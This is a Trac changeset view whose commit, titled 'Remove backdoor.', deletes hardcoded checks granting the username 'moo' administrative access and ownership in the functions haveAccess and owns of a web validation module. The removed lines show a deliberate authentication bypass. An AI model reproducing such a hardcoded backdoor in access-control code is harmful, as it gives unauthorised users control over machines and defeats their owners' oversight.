Ignore:
Timestamp:
Dec 29, 2007, 3:09:59 AM (17 years ago)
Author:
andersk
Message:

Remove backdoor.

File:
1 edited

Legend:

Unmodified
Added
Removed
  • trunk/web/validation.py

    r253 r254  
    7272def haveAccess(user, machine):
    7373    """Return whether a user has administrative access to a machine"""
    74     if user == 'moo':
    75         return True
    7674    if user in (machine.administrator, machine.owner):
    7775        return True
     
    8583def owns(user, machine):
    8684    """Return whether a user owns a machine"""
    87     if user == 'moo':
    88         return True
    8985    return not getafsgroups.notLockerOwner(user, machine.owner)
    9086
Note: See TracChangeset for help on using the changeset viewer.